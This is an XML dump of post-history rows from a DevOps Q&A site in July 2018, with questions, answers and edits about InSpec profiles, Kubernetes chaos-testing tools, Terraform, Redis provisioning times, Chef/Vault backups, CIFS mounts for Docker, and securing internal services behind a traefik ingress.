  <row Id="13884" PostHistoryTypeId="2" PostId="4425" RevisionGUID="88600e54-bb2e-4f24-9fe5-74fba0f91b44" CreationDate="2018-07-02T17:49:26.163" UserId="8452" Text="This blog post describes wrapper profiles in detail:&#xD;&#xA;&#xD;&#xA;https://blog.chef.io/2017/07/06/understanding-inspec-profile-inheritance/&#xD;&#xA;&#xD;&#xA;At the very end of the post, it references a Git repo that contains an example of using a wrapper profile:&#xD;&#xA;&#xD;&#xA;https://github.com/adamleff/inspec-profile-wrapper-example&#xD;&#xA;&#xD;&#xA;When I clone the repo, cd to the `controls` folder, and attempt to run these tests:&#xD;&#xA;&#xD;&#xA;&gt; inspec exec controls_from_other_profiles.rb&#xD;&#xA;&#xD;&#xA;I get the following error message:&#xD;&#xA;&#xD;&#xA;&gt; Cannot load linux-baseline since it is not listed as a dependency of&#xD;&#xA;&gt; tests from controls_from_other_profiles.rb.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Dependencies available from this context are:&#xD;&#xA;&#xD;&#xA;The dependencies are defined in `inspec.yml`.&#xD;&#xA;&#xD;&#xA;How do I correctly run these tests?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13885" PostHistoryTypeId="1" PostId="4425" RevisionGUID="88600e54-bb2e-4f24-9fe5-74fba0f91b44" CreationDate="2018-07-02T17:49:26.163" UserId="8452" Text="How do I run the InSpec using a wrapper profile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13886" PostHistoryTypeId="3" PostId="4425" RevisionGUID="88600e54-bb2e-4f24-9fe5-74fba0f91b44" CreationDate="2018-07-02T17:49:26.163" UserId="8452" Text="&lt;chef&gt;&lt;inspec&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13887" PostHistoryTypeId="50" PostId="4044" RevisionGUID="51f3534e-728a-43c2-99f5-3d7f35ed9a84" CreationDate="2018-07-02T18:48:26.793" UserId="-1" />
  <row Id="13888" PostHistoryTypeId="2" PostId="4426" RevisionGUID="a5fbaa42-413b-449e-b5f6-07d1efddf2b8" CreationDate="2018-07-02T19:29:32.613" UserId="210" Text="Is there a kind of tool like ChaosMonkey specific for k8s that kill nodes and pods during office hours to train the team how to deal with issues and to harden the k8s cluster?&#xD;&#xA;&#xD;&#xA;It is possible to create a script or program that kills random PODs, but if such a tool already exists then this will save time." ContentLicense="CC BY-SA 4.0" />
  <row Id="13889" PostHistoryTypeId="1" PostId="4426" RevisionGUID="a5fbaa42-413b-449e-b5f6-07d1efddf2b8" CreationDate="2018-07-02T19:29:32.613" UserId="210" Text="ChoasMonkey for k8s?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13890" PostHistoryTypeId="3" PostId="4426" RevisionGUID="a5fbaa42-413b-449e-b5f6-07d1efddf2b8" CreationDate="2018-07-02T19:29:32.613" UserId="210" Text="&lt;kubernetes&gt;&lt;resilience-testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13892" PostHistoryTypeId="4" PostId="4426" RevisionGUID="d7399dfb-2fb3-48d3-880d-268d412c5510" CreationDate="2018-07-02T20:39:17.927" UserId="8601" Comment="fixing typo in question" Text="ChaosMonkey for k8s?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13893" PostHistoryTypeId="24" PostId="4426" RevisionGUID="d7399dfb-2fb3-48d3-880d-268d412c5510" CreationDate="2018-07-02T20:39:17.927" Comment="Proposed by 8601 approved by 210 edit id of 725" ContentLicense="CC BY-SA 4.0" />
  <row Id="13894" PostHistoryTypeId="4" PostId="4424" RevisionGUID="911c9b33-1d39-40c1-ab8b-bc793fbcc1a6" CreationDate="2018-07-03T01:51:01.007" UserId="47" Comment="fix typo" Text="docker volumes on cifs share cause permission disaster" ContentLicense="CC BY-SA 4.0" />
  <row Id="13895" PostHistoryTypeId="2" PostId="4427" RevisionGUID="22fefe8f-1b7e-4385-a6a1-7b6b2ff17bd0" CreationDate="2018-07-03T05:36:28.860" UserId="8603" Text="According to [this page](https://docs.microsoft.com/en-us/vsts/package/overview?view=vsts), the hosted agent supports NuGet, npm, and Maven.&#xD;&#xA;&#xD;&#xA;It looks like it might also support `pip`.&#xD;&#xA;You could install `cget` using `pip` and then use `cget` to install your package. A bit of a roundabout way, but it might do what you need.&#xD;&#xA;&#xD;&#xA;    &quot;C:\Program Files\Python36\Scripts\pip&quot; install cget&#xD;&#xA;    cget install nlohmann/json&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't have a way to test this right now, but I will try some real examples and edit tomorrow if I have time.&#xD;&#xA;&#xD;&#xA;Since it is a CMake/Git project, you could also just clone the repository (or add it as a [submodule](https://git-scm.com/book/en/v2/Git-Tools-Submodules)) and build it every time. Since I often use libraries that aren't managed, I tend to take this route and leverage the caching that many CI platforms offer to keep my build times low. Sadly, it looks like VSTS hasn't gotten to this [yet](https://visualstudio.uservoice.com/forums/330519-visual-studio-team-services/suggestions/32044321-improve-hosted-build-agent-performance-with-build)." ContentLicense="CC BY-SA 4.0" />
  <row Id="13896" PostHistoryTypeId="2" PostId="4428" RevisionGUID="9b3fb340-3769-4831-b4d5-442b9fad4d4a" CreationDate="2018-07-03T06:03:18.957" UserId="8282" Text="Terraform is awesome for setting everything up. I like it less for the actual configuration.&#xD;&#xA;After Terraform runs and sets everyhting up (ec2 security groups/instances etc,.) we run Ansible to configure additional users.&#xD;&#xA;&#xD;&#xA;I recommend leaving AWS default user (ec2user, ubuntu) if you're using SSH Keys. Add to your 'authorized keys' all the public keys for users you want to allow ssh access. remember to edit 'sudoers' and create groups as needed.&#xD;&#xA;try separating users into groups and in 'sshd_config' allow the groups to connect via ssh. (each member of the group needs to have his public key in 'authorized keys')&#xD;&#xA;&#xD;&#xA;restart sshd and you're good." ContentLicense="CC BY-SA 4.0" />
  <row Id="13897" PostHistoryTypeId="2" PostId="4429" RevisionGUID="8400f5fc-2361-4548-9aca-e53a81d2233a" CreationDate="2018-07-03T07:51:29.497" UserId="707" Text="A good source for statistics could be https://stackshare.io/.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In general, polyglot services could create silos, and additional overhead for diverse toolchains; nevertheless I consider that larger organizations have the polyglot situation organically because this type of thing is not always an issue of top-management. &#xD;&#xA;&#xD;&#xA;Arguments against polyglot approach:&#xD;&#xA;&quot;Why You Should Think Twice Before Even Considering Polyglot Microservices&quot;&#xD;&#xA;http://codeboje.de/polyglot-microservices/" ContentLicense="CC BY-SA 4.0" />
  <row Id="13898" PostHistoryTypeId="2" PostId="4430" RevisionGUID="968fe636-aa91-49ff-8b8f-28f33f19b4a5" CreationDate="2018-07-03T07:59:45.290" UserId="6686" Text="You can take a look at [kube-monkey][1]. According to the `README`, it randomly causes failures in kubernetes clusters.&#xA;&#xA;&#xA;  [1]: https://github.com/asobti/kube-monkey" ContentLicense="CC BY-SA 4.0" />
  <row Id="13899" PostHistoryTypeId="5" PostId="4429" RevisionGUID="6378ba5b-ed9a-400f-a771-b0ef7774f872" CreationDate="2018-07-03T08:16:46.183" UserId="707" Comment="added 256 characters in body" Text="A good source for statistics could be [stackshare.io][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In general, polyglot services i.e. *teams* delivering different stacks could create silos, and additional overhead for diverse toolchains; nevertheless I consider that larger organizations have the polyglot situation organically because this type of thing is not always an issue of top-management. &#xD;&#xA;&#xD;&#xA;Arguments against polyglot approach:&#xD;&#xA;&quot;[Why You Should Think Twice Before Even Considering Polyglot Microservices][2]&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Worth to mention is the polyglot toolkit [Eclipse vert.x][3] (though I am not sure how is this different to say &quot;it has [bindings][4] to many languages&quot;).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackshare.io/&#xD;&#xA;  [2]: http://codeboje.de/polyglot-microservices/&#xD;&#xA;  [3]: https://vertx.io/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Language_binding" ContentLicense="CC BY-SA 4.0" />
  <row Id="13900" PostHistoryTypeId="2" PostId="4431" RevisionGUID="d92cf6b4-0c5e-4ac0-b368-c5af20040ce9" CreationDate="2018-07-03T09:11:33.473" UserId="3244" Text="Provisioning a Redis service on AWS takes around 8 minutes. Doing the same on Azure takes around 16 minutes. Ours Terraform scripts need the call back from the Redis systems. Why is this taking so long and **how can we make this process faster** for immutable infrastructure?&#xD;&#xA;&#xD;&#xA;- ideally, we would like to create related infra less than 3 minutes&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WLk6s.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13901" PostHistoryTypeId="1" PostId="4431" RevisionGUID="d92cf6b4-0c5e-4ac0-b368-c5af20040ce9" CreationDate="2018-07-03T09:11:33.473" UserId="3244" Text="Provisioning times in cloud taking too long, how can we shorten it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13902" PostHistoryTypeId="3" PostId="4431" RevisionGUID="d92cf6b4-0c5e-4ac0-b368-c5af20040ce9" CreationDate="2018-07-03T09:11:33.473" UserId="3244" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;azure&gt;&lt;immutable-servers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13903" PostHistoryTypeId="5" PostId="4431" RevisionGUID="2380af5c-4855-45d6-8ac6-50e3b240d29c" CreationDate="2018-07-03T09:17:21.603" UserId="3244" Comment="added 66 characters in body" Text="Provisioning a Redis service on AWS takes around 8 minutes. Doing the same on Azure takes around 16 minutes. Ours Terraform scripts need the call back from the Redis systems. Why is this taking so long and **how can we make this process faster** for immutable infrastructure?&#xD;&#xA;&#xD;&#xA;- ideally, we would like to create related infra less than 4 minutes&#xD;&#xA;- some tests even take longer 8 and 16 minutes are the averages &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WLk6s.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13904" PostHistoryTypeId="4" PostId="4431" RevisionGUID="da0770d7-d920-4872-808c-65e21f1d4ba8" CreationDate="2018-07-03T10:33:46.610" UserId="3244" Comment="edited tags; edited title" Text="Provisioning times for Redis in cloud taking too long, how can we shorten it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13905" PostHistoryTypeId="6" PostId="4431" RevisionGUID="da0770d7-d920-4872-808c-65e21f1d4ba8" CreationDate="2018-07-03T10:33:46.610" UserId="3244" Comment="edited tags; edited title" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;azure&gt;&lt;immutable-servers&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13906" PostHistoryTypeId="5" PostId="4431" RevisionGUID="da0770d7-d920-4872-808c-65e21f1d4ba8" CreationDate="2018-07-03T10:33:46.610" UserId="3244" Comment="edited tags; edited title" Text="Provisioning a 1 GB Redis cache service on AWS takes around 8 minutes. Doing the same on Azure takes around 16 minutes. Ours Terraform scripts need the call back from the Redis systems. Why is this taking so long and **how can we make this process faster** for immutable infrastructure?&#xD;&#xA;&#xD;&#xA;- ideally, we would like to create related infra less than 4 minutes&#xD;&#xA;- some tests even take longer 8 and 16 minutes are the averages &#xD;&#xA;- we are using a managed Redis service by cloud providers.&#xD;&#xA;- Doing manually also takes that much time to complete it. Infrastructure gets set up but the Redis is not usable for Terraform or X.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WLk6s.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13907" PostHistoryTypeId="2" PostId="4432" RevisionGUID="d7b7d2c3-3816-498b-8718-d7bf492481ae" CreationDate="2018-07-03T11:04:05.977" UserId="8452" Text="I stumbled across the answer.  From within the profile directory, run this command:&#xD;&#xA;&#xD;&#xA;    inspec exec .&#xD;&#xA;&#xD;&#xA;Don't forget to set the `depends` key in `inspec.yml`." ContentLicense="CC BY-SA 4.0" />
  <row Id="13908" PostHistoryTypeId="5" PostId="4425" RevisionGUID="fc8b3168-0fe6-4249-8d38-90ed48a95063" CreationDate="2018-07-03T11:04:59.340" UserId="8452" Comment="formatting" Text="This blog post describes wrapper profiles in detail:&#xD;&#xA;&#xD;&#xA;https://blog.chef.io/2017/07/06/understanding-inspec-profile-inheritance/&#xD;&#xA;&#xD;&#xA;At the very end of the post, it references a Git repo that contains an example of using a wrapper profile:&#xD;&#xA;&#xD;&#xA;https://github.com/adamleff/inspec-profile-wrapper-example&#xD;&#xA;&#xD;&#xA;When I clone the repo, cd to the `controls` folder, and attempt to run these tests:&#xD;&#xA;&#xD;&#xA;    inspec exec controls_from_other_profiles.rb&#xD;&#xA;&#xD;&#xA;I get the following error message:&#xD;&#xA;&#xD;&#xA;&gt; Cannot load linux-baseline since it is not listed as a dependency of&#xD;&#xA;&gt; tests from controls_from_other_profiles.rb.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Dependencies available from this context are:&#xD;&#xA;&#xD;&#xA;The dependencies are defined in `inspec.yml`.&#xD;&#xA;&#xD;&#xA;How do I correctly run these tests?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13912" PostHistoryTypeId="5" PostId="4431" RevisionGUID="5b282277-5768-4ed3-b2cd-dd0fd0fe6887" CreationDate="2018-07-03T12:54:07.637" UserId="3244" Comment="added 83 characters in body" Text="Provisioning a 1 GB Redis cache service on AWS takes around 8 minutes. Doing the same on Azure takes around 16 minutes. Ours Terraform scripts need the call back from the Redis systems. Why is this taking so long and **how can we make this process faster** for immutable infrastructure?&#xD;&#xA;&#xD;&#xA;- ideally, we would like to create related infra less than 4 minutes&#xD;&#xA;- some tests even take longer 8 and 16 minutes are the averages &#xD;&#xA;- we are using a managed Redis service by cloud providers.&#xD;&#xA;- Doing manually also takes that much time to complete it. Infrastructure gets set up but the Redis is not usable for Terraform or X.&#xD;&#xA;- This happens in any random account in cloud providers with or without Terraform&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/WLk6s.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="13915" PostHistoryTypeId="2" PostId="4435" RevisionGUID="1e653f90-104e-4133-8a1e-69c984fbc364" CreationDate="2018-07-03T13:16:13.950" UserDisplayName="user8517" Text="As the title says I am working on planning a way to backup postgres using chef and vault. Idea is that we already encrypt the backups from postgres using a key (random binary string) and we would like to keep that going. We would like to store that string in Hashicorp Vault. My issue is I am not sure how to get it so that the key is made into a file then a few scripts are run. Then comes the issue that a more senior person wants these backups to only be weekly not every time the cookbook runs which if memory serves me right is every 24 hours.&#xD;&#xA;&#xD;&#xA;I am not sure the best way to access the secrets in Vault from a chef cookbook. Nor have it run weekly.&#xD;&#xA;&#xD;&#xA;I would have preferred to do this with cron jobs and bash scripts, but sadly that is not an option. " ContentLicense="CC BY-SA 4.0" />
  <row Id="13916" PostHistoryTypeId="1" PostId="4435" RevisionGUID="1e653f90-104e-4133-8a1e-69c984fbc364" CreationDate="2018-07-03T13:16:13.950" UserDisplayName="user8517" Text="Planning a backup system using postgress, chef and vault" ContentLicense="CC BY-SA 4.0" />
  <row Id="13917" PostHistoryTypeId="3" PostId="4435" RevisionGUID="1e653f90-104e-4133-8a1e-69c984fbc364" CreationDate="2018-07-03T13:16:13.950" UserDisplayName="user8517" Text="&lt;chef&gt;&lt;hashicorp-vault&gt;&lt;backup&gt;&lt;postgresql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13918" PostHistoryTypeId="2" PostId="4436" RevisionGUID="9c0ab23c-4698-4416-a335-7c08b2e6f228" CreationDate="2018-07-03T13:39:22.040" UserId="13" Text="First chef runs as often as you configure it to do.&#xD;&#xA;&#xD;&#xA;Second Chef is a configuration management system and not a crontab or an orchestration system.&#xD;&#xA;&#xD;&#xA;Use chef to configure cron (that can not be not an option, try to find out why this is not considered) for your backup using consul-template to retrieve the secret from vault. Don't use Chef to run the backups because of the caveats you already mention.&#xD;&#xA;&#xD;&#xA;However if you really want to shoot yourself in the foot, just add a guard on your backup command like this (604800 seconds is roughly 7 days):&#xD;&#xA;&#xD;&#xA;`not_if { (Time.now() - File.mtime(&quot;/path/to/your/backup/file.tgz&quot;) &lt; 604800 }`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13926" PostHistoryTypeId="2" PostId="4438" RevisionGUID="ec723191-657a-4156-b819-30d71af9321c" CreationDate="2018-07-03T18:55:53.987" UserId="3766" Text="check this out, it's a very good guide [Run Chaos Experiments Without Risking Your Job][1]&#xD;&#xA;&#xD;&#xA;Another one [Powerfulseal][2] powerful testing tool for kubernetes which adds chaos into a cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://blog.loadmill.com/run-chaos-experiments-without-risking-your-job-2c8a5f4b0bfc&#xD;&#xA;  [2]: https://github.com/bloomberg/powerfulseal" ContentLicense="CC BY-SA 4.0" />
  <row Id="13928" PostHistoryTypeId="2" PostId="4439" RevisionGUID="82a4d7ce-8cbd-4db6-b16c-5b0ab293021c" CreationDate="2018-07-04T08:04:35.113" UserId="8593" Text="The problem can be solved by using mount options that force the application of the correct user and group eventhough these attributes can't really be set on the target system its sufficient to get around the docker related problem. &#xD;&#xA;&#xD;&#xA;Also a reasonable set of privileges needs to be defined that is used for new files and folders.&#xD;&#xA;&#xD;&#xA;    mount -t cifs -o username=user,password=pass, \               # provide creds&#xD;&#xA;      uid=www-data,forceuid,gid=root,forcegid, \                  # force gid and uid&#xD;&#xA;      file_mode=744,dir_mode=744 //host/share /local/mountpoint   # set permissions for new files and directories&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13929" PostHistoryTypeId="2" PostId="4440" RevisionGUID="a858b245-098a-484d-bd52-1ac860ab0629" CreationDate="2018-07-04T09:14:55.953" UserId="8593" Text="I have automated the setup of several docker containers with ansible. This works pretty well but there are certain recurring tasks that have to be executed within the docker containers. &#xD;&#xA;&#xD;&#xA;It is possible to implement this using the docker connection driver for ansible but this only seems to work when ansible is running on the host that is the docker runner. This is not the case and I don't want to run ansible on multipile hosts if possible. Is there a better way to use ansible execute playbooks within containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13930" PostHistoryTypeId="1" PostId="4440" RevisionGUID="a858b245-098a-484d-bd52-1ac860ab0629" CreationDate="2018-07-04T09:14:55.953" UserId="8593" Text="Applying ansible playbook within docker conainer" ContentLicense="CC BY-SA 4.0" />
  <row Id="13931" PostHistoryTypeId="3" PostId="4440" RevisionGUID="a858b245-098a-484d-bd52-1ac860ab0629" CreationDate="2018-07-04T09:14:55.953" UserId="8593" Text="&lt;docker&gt;&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13932" PostHistoryTypeId="5" PostId="4440" RevisionGUID="f73743e9-bf94-440f-92f2-dbd0035a91cc" CreationDate="2018-07-04T09:32:00.350" UserId="8593" Comment="added 140 characters in body" Text="I have automated the setup of several docker containers with ansible. This works pretty well but there are certain recurring tasks that have to be executed within the docker containers. &#xD;&#xA;&#xD;&#xA;It is possible to implement this using the docker connection driver for ansible but this only seems to work when ansible is running on the host that is the docker runner. This is not the case and I don't want to run ansible on multipile hosts if possible. Is there a better way to use ansible execute playbooks within containers?&#xD;&#xA;&#xD;&#xA;// I tried it out of curiosity and it works pretty well using ansible directly on the docker runner,... anyway not my favorite solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="13933" PostHistoryTypeId="4" PostId="4440" RevisionGUID="f73743e9-bf94-440f-92f2-dbd0035a91cc" CreationDate="2018-07-04T09:32:00.350" UserId="8593" Comment="added 140 characters in body" Text="Applying ansible playbook to a docker conainer on a remote host" ContentLicense="CC BY-SA 4.0" />
  <row Id="13934" PostHistoryTypeId="2" PostId="4441" RevisionGUID="5cc98dea-39cc-4c69-8dc2-23733d48fbfc" CreationDate="2018-07-04T11:18:57.167" UserId="8621" Text="I have a k8s cluster (three vms on my own hardware; no aws, google cloud, ...) that uses _traefik_ (https://traefik.io/) as a reverse proxy to address services/deployments in the background.&#xD;&#xA;&#xD;&#xA;For this I use the deployment-variant from this part of the documentation: https://docs.traefik.io/user-guide/kubernetes/#deploy-trfik-using-a-deployment-or-daemonset&#xD;&#xA;&#xD;&#xA;Now I have multiple applications deployed in the cluster, which all have some ingresses assigned, which are read by the _traefik-ingress-controller_. Some of those applications are internal ones, like _kibana_ or the _traefik-web-ui_, and some others are external, like the applications themselves. I distinguish those two by having different dns entries (like `https://dashboard.internal.mycoolapp.com` and `https://app1.external.mycoolapp.com`) and the internal dns is not resolved from the outside world (=the internet) whereas the external is (like from google dns).&#xD;&#xA;&#xD;&#xA;That's for the setup. Now, let's come to the problem:&#xD;&#xA;&#xD;&#xA;A couple of days ago, I thought: What happens, if I create a wildcard dns entry for `*.internal.mycoolapp.com` on a machine, that is outside my network, and just resolve it to the same ip(s) the external dns entry resolves to. Et voila, my internal services are accessible from the outside!&#xD;&#xA;&#xD;&#xA;So this is, of course, a state which is not acceptable. So I'm searching for solutions on this.&#xD;&#xA;&#xD;&#xA;What first came to mind was to block all incoming requests on rules for internal services, if the host ip of the requester is outside of our network:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    kind: Ingress&#xD;&#xA;    metadata:&#xD;&#xA;      name: app1&#xD;&#xA;      namespace: default&#xD;&#xA;      annotations:&#xD;&#xA;        traefik.ingress.kubernetes.io/whitelist-source-range: &quot;10.0.0.0/8&quot;&#xD;&#xA;        ingress.kubernetes.io/whitelist-x-forwarded-for: &quot;true&quot;&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;Theoretically this should work. But as I found out later on, before reaching the _traefik-ingress-controller_, all requests are handled by _kube-proxy_ and their host addresses are translated to local addresses (_(S)NAT_), so every request has an internal host address set.&#xD;&#xA;&#xD;&#xA;So this is the point I am currently looking for a solution.&#xD;&#xA;&#xD;&#xA;One solution supposedly is to deploy the _traefik-ingress-controller_ not as a deployment, but as a daemon set and bind it to the ports on the host directly (as said here https://docs.traefik.io/user-guide/kubernetes/#deploy-trfik-using-a-deployment-or-daemonset). I tried that yesterday by just changing my traefik configuration to a daemon set and add the `NET_BIND_SERVICE` capability to it, but it didn't really change anything there. So has someone any idea what I might have done wrong there? Or has someone a good how-to/tutorial/... on how to pass the actual requester host through to the ingress controller?&#xD;&#xA;&#xD;&#xA;Here's my current configuration file for traefik:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    kind: Deployment&#xD;&#xA;    apiVersion: extensions/v1beta1&#xD;&#xA;    metadata:&#xD;&#xA;      name: traefik-ingress-controller&#xD;&#xA;      namespace: kube-system&#xD;&#xA;      labels:&#xD;&#xA;        k8s-app: traefik-ingress-lb&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          k8s-app: traefik-ingress-lb&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            k8s-app: traefik-ingress-lb&#xD;&#xA;            name: traefik-ingress-lb&#xD;&#xA;        spec:&#xD;&#xA;          serviceAccountName: traefik-ingress-controller&#xD;&#xA;          terminationGracePeriodSeconds: 60&#xD;&#xA;          containers:&#xD;&#xA;          - image: traefik:v1.6.4&#xD;&#xA;            name: traefik-ingress-lb&#xD;&#xA;            volumeMounts:&#xD;&#xA;            - mountPath: /ssl/external&#xD;&#xA;              name: ssl-external&#xD;&#xA;            - mountPath: /ssl/internal&#xD;&#xA;              name: ssl-internal&#xD;&#xA;            - name: traefik-toml&#xD;&#xA;              subPath: traefik.toml&#xD;&#xA;              mountPath: /config/traefik.toml&#xD;&#xA;            ports:&#xD;&#xA;            - name: http&#xD;&#xA;              containerPort: 80&#xD;&#xA;            - name: https&#xD;&#xA;              containerPort: 443&#xD;&#xA;            - name: admin&#xD;&#xA;              containerPort: 8080&#xD;&#xA;            args:&#xD;&#xA;            - --configfile=/config/traefik.toml&#xD;&#xA;            - --api&#xD;&#xA;            - --kubernetes&#xD;&#xA;            - --logLevel=INFO&#xD;&#xA;          volumes:&#xD;&#xA;          - name: ssl-external&#xD;&#xA;            secret:&#xD;&#xA;              secretName: external.mycoolapp.com.cert&#xD;&#xA;          - name: ssl-internal&#xD;&#xA;            secret:&#xD;&#xA;              secretName: internal.mycoolapp.com.cert&#xD;&#xA;          - name: traefik-toml&#xD;&#xA;            configMap:&#xD;&#xA;              name: traefik-toml&#xD;&#xA;    ---&#xD;&#xA;    kind: Service&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: traefik-ingress-service&#xD;&#xA;      namespace: kube-system&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        k8s-app: traefik-ingress-lb&#xD;&#xA;      ports:&#xD;&#xA;      - protocol: TCP&#xD;&#xA;        port: 80&#xD;&#xA;        name: web&#xD;&#xA;      - protocol: TCP&#xD;&#xA;        port: 443&#xD;&#xA;        name: sweb&#xD;&#xA;      externalIPs:&#xD;&#xA;      - 10.2.3.1&#xD;&#xA;      - 10.2.3.2&#xD;&#xA;      - 10.2.3.3&#xD;&#xA;&#xD;&#xA;The toml-file just contains http-to-https redirect and the paths to the certificate files.&#xD;&#xA;&#xD;&#xA;I have some other solutions in mind, but they do all have the downside that they need more _things_ deployed and maintained, like a second ingress controller on another port, that handles only specific ingress objects, or a new entrypoint for external requests in front of the whole cluster, that deletes host headers from requests, when it is not my external address (does this even work with ssl?).&#xD;&#xA;&#xD;&#xA;So I really need some help on this. Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13935" PostHistoryTypeId="1" PostId="4441" RevisionGUID="5cc98dea-39cc-4c69-8dc2-23733d48fbfc" CreationDate="2018-07-04T11:18:57.167" UserId="8621" Text="Handling request based on source ip with traefik in k8s" ContentLicense="CC BY-SA 4.0" />
  <row Id="13936" PostHistoryTypeId="3" PostId="4441" RevisionGUID="5cc98dea-39cc-4c69-8dc2-23733d48fbfc" CreationDate="2018-07-04T11:18:57.167" UserId="8621" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;rproxy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13937" PostHistoryTypeId="2" PostId="4442" RevisionGUID="5836257e-c3b5-4aed-bd8a-af08c181bd41" CreationDate="2018-07-04T14:16:40.047" UserId="8627" Text="It can be three step process&#xD;&#xA;1. Create a playbook with following command -&#xD;&#xA;docker exec mycontainer /bin/sh -c &quot;cmd1;cmd2;...;cmdn&quot;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;Docker file entrypoint option &#xD;&#xA;FROM ubuntu&#xD;&#xA;ENTRYPOINT [&quot;top&quot;, &quot;-b&quot;]&#xD;&#xA;CMD [&quot;-c&quot;]&#xD;&#xA;&#xD;&#xA;2. ansible-playbook playbooks/PLAYBOOK_NAME.yml --limit &quot;mycontainer&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13939" PostHistoryTypeId="5" PostId="4440" RevisionGUID="da9020d4-1b1d-457c-bf91-5c863ab226f4" CreationDate="2018-07-04T15:16:20.077" UserId="739" Comment="link to docs and correct spelling" Text="I have automated the setup of several docker containers with ansible. This works pretty well but there are certain recurring tasks that have to be executed within the docker containers. &#xD;&#xA;&#xD;&#xA;It is possible to implement this using the [docker connection driver](https://docs.ansible.com/ansible/latest/scenario_guides/guide_docker.html) for ansible but this only seems to work when ansible is running on the host that is the docker runner. This is not the case and I don't want to run ansible on multiple hosts if possible. Is there a better way to use ansible to execute playbooks within containers?&#xD;&#xA;&#xD;&#xA;// I tried it out of curiosity and it works pretty well using ansible directly on the docker runner,... anyway not my favorite solution." ContentLicense="CC BY-SA 4.0" />
  <row Id="13940" PostHistoryTypeId="24" PostId="4440" RevisionGUID="da9020d4-1b1d-457c-bf91-5c863ab226f4" CreationDate="2018-07-04T15:16:20.077" Comment="Proposed by 739 approved by 13 edit id of 727" ContentLicense="CC BY-SA 4.0" />
  <row Id="13941" PostHistoryTypeId="5" PostId="4442" RevisionGUID="4c94f42f-15ed-40fa-a96f-530ddf4a5d41" CreationDate="2018-07-04T15:22:24.840" UserId="13" Comment="formatting for better readability" Text="It can be three step process&#xD;&#xA;&#xD;&#xA;1. Create a playbook with following command -&#xD;&#xA;&#xD;&#xA;        docker exec mycontainer /bin/sh -c &quot;cmd1;cmd2;...;cmdn&quot;&#xD;&#xA;&#xD;&#xA;    or&#xD;&#xA;    Docker file entrypoint option &#xD;&#xA;&#xD;&#xA;        FROM ubuntu&#xD;&#xA;        ENTRYPOINT [&quot;top&quot;, &quot;-b&quot;]&#xD;&#xA;        CMD [&quot;-c&quot;]&#xD;&#xA;&#xD;&#xA;2. `ansible-playbook playbooks/PLAYBOOK_NAME.yml --limit &quot;mycontainer&quot;`&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
